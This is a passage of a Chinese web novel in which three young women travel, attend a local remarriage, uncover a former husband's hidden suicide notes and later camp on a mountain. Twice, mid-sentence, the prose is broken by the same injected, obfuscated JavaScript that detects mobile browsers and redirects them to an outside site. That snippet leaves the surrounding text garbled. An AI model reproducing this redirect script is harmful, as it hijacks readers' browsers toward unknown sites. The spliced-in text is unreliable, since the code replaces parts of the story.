“怎么这么说,”咚咚凑到映年身边,鼓励道,“现在又不是一辈子。” “桂花糕都比我混得好。” “他能多好?都是暂时的。”咚咚感觉这话实在苍白无力,于是干脆玩笑道,“活着就是希望,指不定嘎巴一下,比你好的死你前头,你就比过了。” 映年还是说:“那也耀眼过。” “……”咚咚被映年的功利心制服,她玩笑似的又说,“之前大姨离婚,没看见你回来,我还以为你摔死了呢。” “我妈没说离婚?” “是,后头我才晓得。” “这有什么好隐瞒的。” 交谈间,两人意见不统一,气氛还是松快了不少。 昭岁出来,轮到咚咚去洗澡。 她靠着床边在擦头,看映年整理行李。 映年摸到了个卡片,掏出来,才发现是个二维码牌。 这是昨天在山路上捡到的。 她随手想扔进垃圾桶,昭岁在半空中接住,她扫一眼,名字是夏名山车神。 “你还是坐的黑车?”昭岁有点生气。 “不是。”映年无语。 “那这怎么来的?”昭岁问。 “捡到的。” “我要看你的消费记录。” “真不是。” 映年否认着,还是把手机账单打开,递给了她。昭岁是翻了一圈,是没找到,她也发现祁孝逑没转钱给映年。 递回去的时候,她还是说:“爸爸昨天给我转了五千。”这数是如实报的。 映年看她,笑了,说:“你不怕我删账单记录,却主动说转账的事情。” “你不太会说谎。”昭岁说,“不然你不会去考那场六级的。” 映年沉默了。这才是昭岁要找她看订单的意图。 她说:“转给你,你就收着。” 昭岁问:“他没给你转吗?” 映年说:“我真要说了,你又不开心了。” 昭岁不问了。她有了猜测。 她就说……考试完之后,祁孝逑就转过她一大笔钱,说庆祝她毕业。 转账卡是外头有个碎掉的壳,她不自在抠着。 映年说:“妈妈知道的。” 妈妈知道…… 昭岁更奇怪了,可要是不知道,又不对劲,哪哪都不太合适。她问:“……沈阿姨为什么给我钱?” “不只烟姨,也有以歌的份,她本来想给你买模型的,没抢到。”映年说着,重新打开手机,问她,“祝你成为大人了,要不要当面谢谢她们?” “会不会打扰她?” “可能刚起床。”映年说,“可以打过去试试。” 昭岁屏着一口气。她的指甲长长了些,出门后没修过,美甲已经被原甲的部分顶上去了,把壳子“咔哒”抠下来了。 她不知道该说什么,不知道该归还回去,还是接受,这口气咽不下去,又吐不出来。 去年刘海洋住院期间,沈烟陪着齐美裳往前忙后跑过,对她也有过问。齐美裳收拾账单的时候,就在叹,是欠沈烟太多了。这和从前谈起沈烟时,齐美裳的歆慕表情稍有出入,隐瞒着的自卑终于浮出了水面。 齐美裳就很难是这样潇洒。当她听说沈烟宣布出国读书时,不可置信,躺在沙发上问昭岁是不是她听错了。 咚咚洗完澡出来,坐在床上擦头,去带眼镜。昭岁站起来了,手里东西扔到垃圾桶里,没扔进去,反是散开,两片纸从塑料壳里倒出来。她想去捡起来,先一步被咚咚拿了起来。 “这都扔不准。”咚咚正想重新扔进去,发现不对,她举起来,放在面前,还真是,“这照片,不那小孩吗?” 塑料壳里夹了两张卡,这是里面那张。 映年和昭岁对视一眼,昭岁拿出手机去扫码。 界面上,头像换成了黑色,付款给个人下方能看到姓名的尾字。 (**烁) _ 他从前不是这样的。 从小到大,各方面不如苗光烁,可胜在努力,本科接着读了硕。读硕那三年是关系最好的两年,哪怕是异地,他总能说些话逗苗光烁开心。 当时苗光烁觉得是新婚,后来才想,那两年是她在养家。 她在养他。 硕士毕业后,他签了大公司,到了开发岗。他意气风发,拿着项目,闯到风口真挣了钱。 肥元就在那时候出生了。 可渐渐,他的眼界就不够用了,脾气却越来越大,好像滔滔江水说不清他的心酸,到苗光烁安慰的话,偶尔会说:“回来吧。” 他愤怒:“你不懂。” 那时候,夫妻之间的交流结尾只能用“你不懂”了。 好在他的薪水丰厚,每月准时转到苗光烁的卡上,苗光烁尚能忍受。 育儿观念又发生了分歧。他想让苗光烁放弃工作去大城市,好给肥元一个好的起点。 连买房的步骤都没落实,就要她离职。对未来猖狂到别人必须让步。 苗光烁果断拒绝。 挂断电话,苗光烁看着苗光红坐在院子里的秋千看她。苗光红看她,沉默着起身回屋了,里头传来“叮当”声响。 苗光烁那一瞬间突然在想:如果他不是她的丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071306|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她实在想不出他有什么胆量来指导自己。婚姻真是一种虚荣的错觉,和她结婚,居然以为能比得过她了。 ——她竟然无知无觉。 婚姻存续的主要原因是钱。 他的抱怨更多了,总说这疼那疼,好像就等着苗光烁递给一个台阶说:“回来吧。” 回来能干什么呢?苗光烁从前真替他想过,可临到这会儿,她清楚镇上的薪资不会比他在外面多了。 何况,回来还要天天见面。 苗光烁成了他从前想要的“懂他”的妻子,说着鼓励的话。他憋着,闷闷挂了电话。 可后来,就连汇款也少了。 苗光烁觉得该离婚了,便去聊了。他几次三番推脱,苗光烁去打听他公司的情况,才发现查无此人。 他瞒不下去,说是开出租车了。苗光烁去翻他的税务情况,还是不对。他终于说了:“在帮忙做软件开发,那边拖钱呢。” 要不是苗光红去山头那边打钹,碰见了,苗光烁差点信以为真。 他回来倒不是真因为苗光红。 车翻了。 离婚能进行了。 恰好碰上了汛期。 _ 黄柠檬的电话来时,昭岁刚躺上床。她在电话那头哭得撕心裂肺,想着电话不会太短,昭岁不得不爬起来,往外面去。 “我其实知道结果的,分开是迟早的事情。”黄柠檬一抽一抽的,“但是现在我后妈就住进来了。” 黄柠檬父母离婚是高一的事情了。她轮回在父母家住,逢上节假日,父母会陪着她一块吃饭当作庆祝。 “也不是多难受吧,就是不适应。”黄柠檬说。 “看帅哥都不能缓解?”昭岁问。 “那是镇痛剂,不是药到病除。”黄柠檬说,“看帅哥只会让我又哭又笑的,很奇怪的。” 昭岁想象了一下那个画面,也笑了。 “我想来找你。” “不打工了?” “你应该立马答应!” “你知道我在哪了嘛。” “不用知道,睡醒之后,我就不想了。” 昭岁又笑了,那头的黄柠檬也跟着笑了两声,接着再“呜呜”了两声。 “你确定不去鹊师大嘛?” “不去。” “那你去哪?” “……” “连你也要抛弃我。” “……” 又是“呜呜”几声,黄柠檬抽泣着。 昭岁知道她是开玩笑。 不过黄柠檬居然能有这么大反应,是昭岁没想到的。 “我也不想去学前教育了,不要读鹊师大,我要离开这里。” “你想去哪?” 黄柠檬报了个地名,昭岁一时没想到那地儿有什么学校。她以为黄柠檬在开玩笑。 “为什么?”昭岁警告,“千万不要说哪个男人在那,我马上挂电话。” “我以前打过一通求助电话,当然不是我现在这样,是很难很难的时候。”黄柠檬语气平静下来,“是个姐姐接的,她陪我聊了快一整夜,说让我过去看看,给我订机票。不过那会儿太小了,还不敢去。” 昭岁突然觉得自己很糟糕,她真没那么了解黄柠檬。一直认为,黄柠檬去参加志愿活动是凑热闹。 “我想读军校。”昭岁主动说。 “我说你老跑来跑去盖资料。”黄柠檬悟了,“你的分够吗?” “就是不够才愁。” “不是还要体检吗?” “后头的事情了,来得及。” “你问你姐了吗?她了解点。” “她不知道。” “嘿嘿,我悄悄报信。” “在公交车的事情还没找你算账呢。” 电话又聊了会儿,昭岁觉得太热了,没再让黄柠檬继续打扰,挂了电话。 回房间,映年和咚咚还没睡,在玩手机。电视大开着,这是地方台的节目,正在播民生节目。 昭岁还没缓过来。她躺上床,扇了扇风,有点热。她的床在正中间。 “那还去吗,明天?”她问。 咚咚说:“去啊,免费的饭。” 昭岁又看向映年,映年点头:“你们想去就去。” “你呢?”昭岁担心映年又要单独行动。 “我也去。”映年点头。 昭岁放心了。 过会儿,她突然说:“我不会结婚的。” 映年以为昭岁是在纠结父母的情感,在这点上自认经历过昭岁的心路历程,现在稍稍开阔:“不要太纠结妈妈她们。” 昭岁问:“那咚咚呢?” 咚咚偏头去看昭岁:“主要还是分人吧,你看苗光烁还能有勇气。对方好重要,自己清楚更重要。” 昭岁没想到咚咚还会这么说。她以为咚咚真没想法了。 咚咚对刚才的鼓励很气馁,这下来了问题:“映年姐会结婚吗?” 对映年来说,婚姻的认知更像是合作伙伴,只是:“没有计划啊,也没发现没什么值得我喜欢的。” 咚咚突然拍掌笑了,她基本能猜到这风格的答案。 映年接着说:“真准备进入一段关系前,要衡量一下有没有脱身的能力。这是重要的吧。” 昭岁没说话,后悔开启这个话题。不讲明白,她们都不会明白。她又不知道怎么讲。 她只能干巴巴地装作在发呆。 电视里的民生节目播到了渔业。夏季高温期直晒,鱼塘太热,会有翻塘现象,需要拉网加冰。这会儿拉网加冰了,还是出现了问题,请了记者和专家来帮忙看看。 昭岁看着,想起黄柠檬,又转头看向咚咚,二人对视一眼。 “保养品瓶子里装的,真的是药吗?” 26.第 26 章 请柬送出去了,说要来吃席的没几个人,苗光红是看着受不了准备三天的舞台没人看,也烦这事没人来庆祝,那便打算挨家挨户送糖当作贺喜。 方式就是打钹,带上她这么多年教学的朋友们。 苗光红牵头,站在船头的最前面,后面一排一排座位上站着中年妇女。 她们手拿着锅盖,富有节奏地敲着旋律。 钹声在古镇中响起,苗光烁的婚姻在这份震耳欲聋中再度开启了——这刺耳又突兀——是不是足够刺耳,才能整治那些视而不见。 或用是嘹亮,而非刺耳。 是嘹亮。 _ 时钟指向六点钟。 映年翻身想继续睡,把枕头放在脑袋上,还是有声响,她气得坐起来。 “不是,这边结婚这么早吗?” 昭岁眯着眼在刷手机,确定时间:“再睡会儿,民宿七点才有早餐。” 映年又蒙在被子里继续睡。 咚咚已经醒了,在刷牙,靠着窗户。 “睡什么,起来去看看啊。”咚咚说。 “看什么?”昭岁问。 咚咚递了个眼神,去看河边行驶过来的船。昭岁爬起来,见到了船头拿着大钹的苗光红。 收拾完毕,出门前,昭岁又对着床上的鼓包问:“去不去,姐?” “不去!”映年说,“我要保证每天睡够八小时。” 昭岁跺跺脚,没再喊了。 前台见了有人下楼,很快迎上了,担心投诉:“我们多送一份午饭,能不能给我好评,这种情况很少的。” 昭岁本想说无妨,咚咚却叉腰道:“不行,太吵了,哪有六点就这么闹的。” 前台还是在道歉。 咚咚又说:“那我有个要求。” 前台:“?” 昭岁偏头去看举着相机的咚咚,再看手里的两个锅盖。 “怎么不是你来?”昭岁问。 “我要摄像啊。”咚咚说。 “这不是扰民吗?”昭岁说。 “那你敢不敢做缺德的事?”咚咚问。 “有什么不敢的?”昭岁说着,敲起了锅盖,时而快时而慢,又转圈敲,互相敲。 两人一路跑一路敲,没有章法,追上了那艘船。 “哟哟哟!哟哟哟!”咚咚跳着,想掠过围栏的灌木遮挡,和前面的苗光红打招呼,学着野人乱叫。 昭岁被带动起来,也乱叫着跳,高举着锅盖。 苗光红注意到了。 她指挥着停,停手示意二人跟上。钹声又起,敲得竟然是《一闪一闪亮晶晶》。 两人跟着,稍稍能踩着点。 人的速度比船的速度快,昭岁看见前面有个矮桥,她带着咚咚跑上去。 “她们来的时候,我们跳下去。”昭岁说。 “……不要。” “给自己一个机会。” “……” “总要过去的,过几天还要做轮渡呢。”昭岁把锅盖用一手握着,去拉咚咚,被她撒开,又强硬地握住,“不然为什么一定要来找五姨。” 谈到了齐美玉,咚咚不再挣扎。 她说:“你先跳。” 昭岁点头。 船渐渐靠近桥,不等昭岁打招呼说明,苗光红举着钹拥抱,大吼:“下来。” “马上来!” 昭岁推着咚咚爬上石桥栏杆,又自己坐了上去。苗光红后撤,留了一片位置给她们。 这桥不高,船只上的人都是坐着才行。船缓缓行过桥底。 跳下去,只要轻轻盈盈一步。 昭岁屁股往前挪,手放开,脚就落下去。 踩在了船上。 她转头招呼咚咚:“下来。” 咚咚没动。 “快下来。”昭岁吼。 咚咚蹬着脚,还是没跨出那步。 重启的钹声中,船渐渐行远。 _ 钹声过了。 映年却睡不着了。 眯了一会儿,她还是起来。 坐在餐厅吃馒头牛奶的时候,映年瞧见小珞开着三轮车过来。 小珞打开座位后的挡板,把推车拿下来,抱着饮料箱一箱一箱的卸货。 从体型来看,小珞和苗光红不相上下,她个子还稍稍高一些,脸圆圆的稚气未脱,不如苗光红那股狠劲。 映年估摸着她的年纪,估计和自己差不了多少,她分神看到玻璃里自己的倒影。哎,她也是圆脸,做事风格还不一定有小珞的成熟。别人也这样看她吗? 她还没有小珞强壮呢。 映年本想把剩余的那个馒头打包,这会儿,拿起来又开始吃。就是嘴皮不好受。 不知道小珞有没有读大学。 没有吧,读了大学在这里送货吗? 还是说这就小珞的家业?不会,如果这样,小珞她哥何必去开黑车呢…… 又走到自我了断的地步。小珞怕是不知道,不然哪会这样。 那要说吗?她们也只是揣测。 小珞还在卸货,已经卸了一半,她一脚跨上去,站在车上面,开始卸里面的饮料箱。 她推车进来,绕到门口的自动售卖机在补货。 “不去婚礼吗?”映年问。 “所以提前上岗了啊,不耽误。”小珞说。 “你真要去?”映年不信,哪怕真是祝福,也不一定会现身。 “当然。”小珞说。 “那捎我一段吧,我也过去。”映年说。 “……” 小珞看她,笑了,映年见她笑,也笑了。二人明了了。 “你也有妹妹啊。”小珞说。 “哦,所以你也体谅苗光红。”映年说。 小珞又笑了,映年也在笑。 映年还在犹豫要不要多管闲事:“如果是你哥的错处呢?” 小珞说:“光烁姐说过,他没出轨的,就是感情不和。” 映年说:“不是出轨的事情。” 小珞解锁打开了自动售卖机,立马跳出来一瓶汽水,她捡起来,感觉瓶子里鼓鼓涨涨的。 她重新把饮料擦干净,放进了售货机里,不觉得外来客会了解什么:“那是什么?” 映年看着售货机里的一排排汽水,她问:“这么高掉下来,汽水打开会冲出来吗?” “小心一点就不会。”小珞说,“或者放一会儿。” “如果很渴呢?” “那就别买汽水,有电解制水这些。” “很渴的时候,又想喝汽水呢?” “那就渴着。”小珞把水码上去,看她,“你到底想说什么?” 映年突然感觉如果咚咚或者昭岁在就好了。 不会像她这样说话的。 她只能说:“没什么。” _ 昭岁站在苗光红身边。 “她怎么不跳?”苗光红的声音中气十足,哪怕在钹声中,依旧具有十足的穿透力。 “我等会教训她。”昭岁说。 苗光红笑着,把手里的大钹递出去,问她:“要不要试试这个?” 铁锅锅盖不过也就杯水的重量,大钹拿在手里,昭岁往下掉了一寸,才稳稳拿住,双击敲起来,那声音震颤,手腕也受不了了。 她咬着牙,配合着敲了两下。 “你姐学音乐的,你怎么一点都不会?” 从音乐公司的说法,到现在学音乐了,昭岁对着转换都不奇怪了。 她想否认映年学音乐这件事,又想,实际真有学音乐的,不过是沈以歌。 但她很难说出口。 于是反问:“我看你和新娘性格也不像啊。” 苗光红则道:“本来也不一样,我就是我姐捡回来的。” 这话说得太轻巧,让昭岁一时之间愣住。 她呐呐道:“对不起。” “这有什么对不起呢?”苗光红很坦然,“你姐呢?她没来。” 昭岁说:“她有工作。” 苗光红话里有点问责的意思,可度把握得刚刚好,能看出来是开玩笑:“旅游还工作呢?上午不来,中午是没她饭吃哦。” 咚咚跟着船在走,却没有拍摄的想法了。 心头恹恹,无精打采。 船很快就靠岸了。 昭岁本还在生气,见咚咚这模样,又接纳重新加入队伍。 一行人在巷道里行进。 走到一家门口,苗光红停下来,去敲门。两个大钹扣在门上,手举得高,发出“哐哐”响声。 “这是小珞她哥的朋友。”一旁的人说。 没人开门。 苗光红吼一声,阿姨们打钹更响了。 过了半晌,门终于打开,喜糖掷了进去。男人刚要发作,他愣一下,想去抓苗光红,可又不若苗光红强大,被眼神震慑住了。 他咽咽口水,还是开口正欲骂出声,钹声又起,淹没在其中。 苗光红心情极好,继续向前出发。走的这条道,基本是未开发的路段,游客很少,只是越走越靠近开发区。 不过声音没有就此停止。 “这是茶馆闹事的人。” “这个人之前偷锅盖来着。” …… 昭岁说:“真想这么潇洒的活一次,不顾别人。” 苗光红反驳:“活一次可不够,要活一辈子。” 咚咚和昭岁对视一眼,对那份猜测多了一分确定。 _ 院子里还有散落的喜糖,苗光红已经来过了,估摸着敲门没见人,就往院子里散。 早点上班,是想躲着苗光红。 她想用扫把去扫走那些喜糖,拿着都走出去了,还是觉得扫把太埋汰了,于是蹲着捡起来放进盆子。 开着水龙头冲干净,把水倒掉,晒在了太阳底下。 空气湿闷,燠热没散,小珞就坐在矮凳上冲头发。水果味的洗发露很浓郁,她盯着消失的泡沫,把地上的蚂蚁淹住了,蚁类在挣扎。盯了一会儿,顺着耳根流下了,把惹到了眼睛。她闭上不再看了。 洗完头,小珞坐了一会儿,擦干眼睛去看刚才晒着的喜糖。起身想进屋,又折回来,拿了一颗拨开,放在了水龙头下面的地上。 苗光烁的婚礼,小珞的确没想要参加。请柬还放在客厅的桌上,糖盒动也没动。 这是苗光烁亲自跑来送的,交到她手里,让她来吃席。小珞觉得荒谬。 她颠了颠,还是打开这个糖盒。 里面糖一样,放烟的格子里全是折叠成方块的纸。她隐隐感应,打开来,这纸水印是她哥从前的公司,字迹也是她哥。 深浅不一,笔墨有变,字形也时大时小。 好多张,落款都是她哥名字,而顶上无一例外的都是两个字:遗书。 _ 不管准备得充分与否,排演过的戏就要上。 苗光红的位置挪到了台上后方,阿姨们做好造型在表演,这一出戏,没比昨天精进多少。 可很鲜活,竟和空气中那股铁腥味相得益彰。 咚咚在录像,昭岁鼓掌配合着节奏。 节目表演结束,苗光红担任起婚礼主持,开始祝福苗光烁,整个流程很快,就是新娘新娘的交换过程。 余下还有时间,竟然支起了麻将桌在玩。 映年来的时候,七八张桌子都坐满了。 昭岁实力不济,把盒子里的喜糖输光了,苗光烁也不行。令人刮目相看的是咚咚,她的盒子满了,最多的还是苗光红,都溢出来了,边吃边玩。 “姐,你来帮我。”昭岁找到救兵,学霸最会记牌了。 学霸映年说:“我不会。” 咚咚拉着就要拉着她坐下:“你怎么不会?你还在看教学呢,来实战两把。” 菜鸟映年坐下了。 一把之后,映年扣了两颗糖。 昭岁看着:“没事,再接再厉。” 三把之后,映年扣了十五颗糖。 昭岁鼓励:“手气不好,红姐太厉害。” 七把之后,映年扣了四十颗糖。 昭岁无语:“你起开,让我自己来打。” 映年真让位了,她窘迫得不行,有种熬夜补习结果考了零光蛋的感受。 她被麻将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076611|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羞辱了。 听到苗光红是靠麻将盘下店铺的,放在从前,映年只觉得不可思议,真成了手下败将,才发现自己见识浅薄。 映年坐在苗光红身后看牌,感觉她的牌技也没什么特别的,她又去看咚咚的牌,咚咚纯粹是运气好啊,起手就能有三张一样的。 她看来看去,发现:自己水平不行,还在怪外部情况。 这很不好! “是察言观色吗?”映年问技巧。 “不是,”苗光红说,“是和菜鸟打。” 映年:“……” 咚咚技术相当不错,她说:“见好就收也行,不要贪。” “贪点也没事,心里求求麻神附体。”苗光红不着调,“手感好的时候就多玩几把,差的时候就别碰。” “没多难,多玩玩,就会了。”苗光烁讲。 映年听了一圈,觉得玄乎其神。也是,不是这样,她学的高招不可能用不上。 麻将的时间过得快,很快到中午开席的时候了。 苗光烁帮着传菜,她一眼表,再环顾四周,把盘子放下,去问前台登记的阿姨:“小珞来没?” “没有。” 苗光红凑过来问:“怎么了?” 苗光烁摇头,说:“菜要浪费了。” “浪费什么,我等会儿去门口拉人免费进来吃。”苗光红说。 苗光烁也笑笑,没说话。 她穿一身旗袍,活动不太方便,上楼换了身裤装,走下楼时,发现苗光红她们站在院子里。 还以为是揽客呢,走到外头,顺着她们的方向望向天。 是昨天那只火红的风筝,飞得很高很高,风膨胀却很稳,尾部还是那句“恭喜苗光烁新婚”。 苗光烁勾起了笑。 _ 从西风古镇离开,转了两趟车,三人夜宿在服务区的停车场,在司机之家洗了个澡,就在服务点室内搭起了帐篷。 “你告诉的小珞?”昭岁把帐篷袋子扯下来,在整理配件。 “没有,”映年打开了帐篷的说明书在研究,“这怎么说?我开不了口。” “如果是我,我是想要真相的。”咚咚踩在滑板上玩,她害怕,只能扶着栏杆玩,“你这滑板带着,都没机会好好玩。” “是,前面还湿了一点,还有点重。”映年看着,“小珞应该是自己知道了。” “到寺庙,让妈妈回去的时候带回去呗。”昭岁说,“也有可能就是祝福,不知情啊,放风筝又高调又委婉。” 映年说:“没机会玩啊,公路怕又有车,小路又不平,我玩的时候,又没法等你们。” 出发前,她还有再启动经营自媒体的念头,想着也许能有份收入,就带上了滑板。没什么用,还很重,反而成包袱。学生时代许多人放假时爱带作业回家,实际连书包都不打开,原封不动的带回学校赶。映年从前对此嗤之以鼻,现在自主加入这行列。 “不,真知道,发喜糖的时候就不会不开门。”咚咚斩钉截铁,“我更好奇为什么苗光烁要隐瞒。” 昭岁给出一种解答:“之前可能是为了小孩吧。” 当时戳穿了齐美裳的恋爱,对方暴露。昭岁本不明所以,她对齐美裳恋爱并无太大的抵触,为何齐美裳这么愤怒。现在想来,也许更多是心虚吧——或者说是羞耻感。 都是单身又何来羞耻感呢? 齐美裳把单身的身份放在了母职之下,又开始用母亲的身份虚张声势。 可其实这并不冲突。 昭岁不想她这样。 又不免去想,是不是她的什么行径,让齐美裳这样了。也许好好敞明沟通就好了。 可惜十年,似乎在原地踏步,还有后退的趋向。 咚咚没稳住重心,从滑板上摔了下来,好在她那边正好是睡袋,摔得不重。 昭岁过去扶她起来。 咚咚撑着身子说:“也可能是她早先时候不知情,后头才晓得的,会这么快就结婚。” “不管有没有,苗光烁都挺有厉害的。”映年说。 “厉害的是苗光红吧。”咚咚道,“我是觉得怎么也不该走到自尽的那一步。” 映年也没再和咚咚争。 铝杆撑开穿孔,映年让两人来帮忙撑开,三人合力搭起帐篷。咚咚和映年合作密切,基本没昭岁什么事儿。 她干脆坐在滑板上看二人搭帐篷。 如果早上和咚咚一块去的是映年,她做法强硬,可能咚咚就跳下桥了。嗯……也不一定,咚咚有时候真能制住映年。 三人间,似乎咚咚和谁都可以亲近起来,咚咚就是有这个本事。那她和咚咚一起玩的时候,映年在一旁会怎么想?绝对不会像她一样吧。 相反,左右逢源的昭岁,面对齐美裳总爱说些刻薄话,对着映年又无所适从。 哪有姐妹的感觉。 想到这,昭岁突然“呃”一声。 咚咚没回头:“咋啦?” 昭岁盯着咚咚,又转向映年,说:“小珞绝对知道了。” 咚咚说:“为什么?” 昭岁补充:“还是苗光烁告诉她的,告诉她一个人。” 映年这次也疑惑:“说说。” 先前映年没点破,实际是明了苗光烁的事业。具有悲情色彩的家庭,远比讳莫如深的了断更惹得同情,再挑起让人觉得割裂的“背叛”,遭得口诛笔伐后,又出现真实的情况,事态又反转了。 只是……映年觉得,既要说明白没必要就只告诉小珞,传播力一般,并且后续的节点要好好选。虽是真相,小珞未必会与她为伍。 现在显然不是一个好的时刻。 “其实苗光烁牌技更好的,很擅长喂牌。”昭岁没正面回答,又说。 咚咚觉得她在挽尊:“是是,你的牌技也好。” 映年听着,笑笑没说话。 昭岁想到了齐美裳的三段婚姻。可能是她也是局中人,反而想不清楚。 可在这上,咚咚和映年或许不会明白的。 就如小珞在说的:“你也有妹妹啊。” ——那是苗光烁的姐妹。 不是小珞的。 27.第 27 章 接下来几天行程都挨着山边在前进,翻山越岭向前。 这山从前有人爬,修了半山的阶梯到山腰上,中途就断掉了,全是人踩出来的台阶。越往山上走,杂草越多。 中途映年喝泉水闹了肚子,找半天没找到洗手间,不好说。咚咚自在,她直接钻到草里去方便,映年本还害羞,实在受不了,也一并去了。 昭岁是无所谓的那个,徒步总能遇上紧急情况,这不污染环境,也没道德枷锁,一切以自身体感为重要。 她成了表扬映年的那位:“怎么,也是体验了一把?” 映年知道没事,可潜意识还是有点心惊:“被蚊子咬了。” “不会吧,”昭岁说,“你这驱虫的味,没熏死都算好的了。” 前阵子路线变化成登山了,映年还在想要不要加急购买一套防蜂服,好上阵去爬山,为了不拖延团队进度,她直接上了。 “你怎么憋得住的?”咚咚问。 “啊,你知道为啥我报音乐公司吗?因为双休啊,还有外勤能摸鱼,只是偶有可能加班。”映年说着,自问自答,“实习那会儿在房地产公司,我天,我和室友一个办公室,我俩吃饭都是错开去吃,更别说带薪拉屎的情况,可能上厕所玩手机都不用带。” “你上补习班的时候不见得累。”咚咚说。 “你别说,我在实习那会儿,真还好。”映年说。 中学时,课间休息人排队多,有时候到上课时间都没排上队。映年就摸清了,干脆固定什么时候喝水,这样就能在大课间去上厕所了。 她的适应能力一项很强。哪怕现在想来,很不合理。 “你怎么还是没留公司?” “我不想带饭……噢,那会儿是室友减肥,我俩轮流着带。”映年说,“当然考编制也有这理由。”更重要的理由,是映年潜意识觉得安稳是必要的。 至于后悔不后悔,映年承认有点。可室友真要内推她回去,她也不太想了。 昭岁无语:“你这理由也太草率了。” 咚咚则说:“当然不,每个人都自己认为重要的点。” 山顶有个小亭子,三人本打算在亭里扎帐篷,可惜那石桌似乎嵌在上面,推不动,三人只好又往山下在,在山腰上找了块平坦的地儿搭帐篷。 这处靠近水源,就条流动的小溪。 夏季就没必要硬跳过去,鞋湿了更麻烦,三人在溪边脱了鞋,准备过小溪。 咚咚把鞋子一下脱下,没半穿在脚上,弯腰抬脚扔到了对面。 “我扔好远!”咚咚惊喜,光脚站直,另一只鞋也被她扔到了对面,“来比比?” 昭岁笑着,重新把鞋子半穿上,踢了出去。她第一只踢得更远,第二只不是惯用脚,撞了一下溪边的石头,好在往上了。 “你来!”昭岁招呼映年。 “无不无聊?”映年把袜子脱下来,还是把靴子重新放下来了,“我靴子不能沾水。” “你的技术不至于踢到水里吧?”昭岁说,“你鞋子重,肯定远。” 映年抬脚,靴子一下飞得很远,超过昭岁和咚咚一大截,她有些得意:“都说了很无聊。” “再来,再来。”咚咚鼓掌。 映年再次半穿上靴子,另一只脚光脚踩在落叶上支撑,另一只脚踢出去了。可能是猜到的地方湿软,她没稳住,人往后翻,脚也没控制住方向,靴子脱离掌控飞出去。 落在了水面上。 她有点慌,身子稳不住,倒在了地上。 靴子开始漂流。 咚咚来扶上映年,昭岁去追靴子。 她跟在后面,举起来,赞扬道:“姐,你的靴子居然也是站着在漂,真牛啊。” 靴子居然没进水,映年吃惊,或许这防水真值得一千八。 临近夜晚,昭岁翻了半天,把压在背包底下的打火石打出来,拿着拾得干叶子在摩挲着点火,搓了一阵,没动静。咚咚本在一旁搭帐篷,看不下去了,把棕榈树皮撕成纤维,放在打火石旁边,帮她挡风。 搭帐篷的人就剩映年了。 她做好支撑,去看蹲着的两人。 一个打火机丢在昭岁的脚边。 “不用,我们点燃了。”昭岁说。 实际上烟都没冒出来。 上山前,三人采买了面包,压根没有生活的必要。映年没管她们,把拿着水瓶去接水了。 昭岁搓了一下打火石,递给咚咚,她帮着挡风。咚咚划拉几下,点燃了。 纤维有微微的火。 昭岁把枯树叶拿来,续上,又堆了些树叶,最后在上面架起一个小山包的树枝。 真燃起来了。 山上这一片空旷,虽有小溪,可太阳暴晒的余温没过,还显得湿,坐在火边,反而很热。 谁也没说要浇灭。 映年从帐篷里擦身出来,搬了块石头,也坐火旁边。她一股花露水的味,风吹过来,皮肤凉飕飕的。 咚咚打了个喷嚏,她站起来,到小溪般洗了把脸。在反光下,惊奇的发现:“水里有块地板砖。” 两人没理她的胡诌。 昭岁开始狂妄:“我感觉我去参加什么求生节目都能苟活到大结局。” 映年狐疑地看向咚咚,要确认:“真是她点燃的?” “我,”咚咚从兜里摸了几颗糖,分给她们,“如果是棉花糖就好了,还能烤着吃。” “多此一举。”映年说,“考得灰不溜秋的。” 昭岁似乎习惯了映年的扫兴,压根不听,继续跟着说:“应该带个小锅的,这样煮点什么粉也不错。” “你想吃什么粉?”咚咚问。 “螺蛳粉怎么样?”昭岁说完,似乎感觉很搞笑,“这在野外,气体算不算污染环境。” “我要吃冒烤鸭。”咚咚说。 两人挨着报了好多菜名,不满足晚上只是啃了一个压瘪的面包。 “你说那条小溪有鱼没有?” “没佐料啊,不好吃。” “烟熏的风味就够了吧?” “你真能吃下?老腥了。” “……不一定。”昭岁又犹豫了。 “还说野外生存挑战呢。”咚咚嘲讽。 一旁听着的映年道:“盐角草、盐麸木,找找,能有盐出来。” “呀!”咚咚说,“能让你饱餐一顿了。” 昭岁吃瘪,她瞪了映年一眼,低下头玩石子。 映年又说:“真有鱼,我接水的时候看到了。” 昭岁“啧”一声,歪头看映年。 咚咚笑得更大声了,山谷回荡着她的笑声。她又叫了几声,传来了回声。 “两个坏蛋!”昭岁吼一声。 “昭岁想吃鱼!”咚咚吼。 “你真烦!” “我现在就去给她叉鱼。” “晚上睡觉小心被我偷袭。” “我熬大夜。” 回声飘荡,两人来回对话,拉拉扯扯。 “我想吃鱼!”映年突然吼道。 两人静默了,看向她。 “我想吃肉!”映年又吼一声。 两人还是盯着她。 开口的是昭岁:“你想吃什么?” “我要吃肉!”映年到了第三遍。 “不是吃不了吗?”咚咚说。 “是吃不了,”映年感觉嘴里带着气,“不是不能吃。” “这和不能吃有什么区别?”咚咚说。 “区别可大了。”昭岁抢话。 映年笑了,点头:“区别可大了。” 吼了一阵,三人又不说话。 枯枝烧得快灭了,没新柴了,没人起身去捡。细碎的红色烟火,有细碎的卡拉声响,彼此看不清对方的脸了。 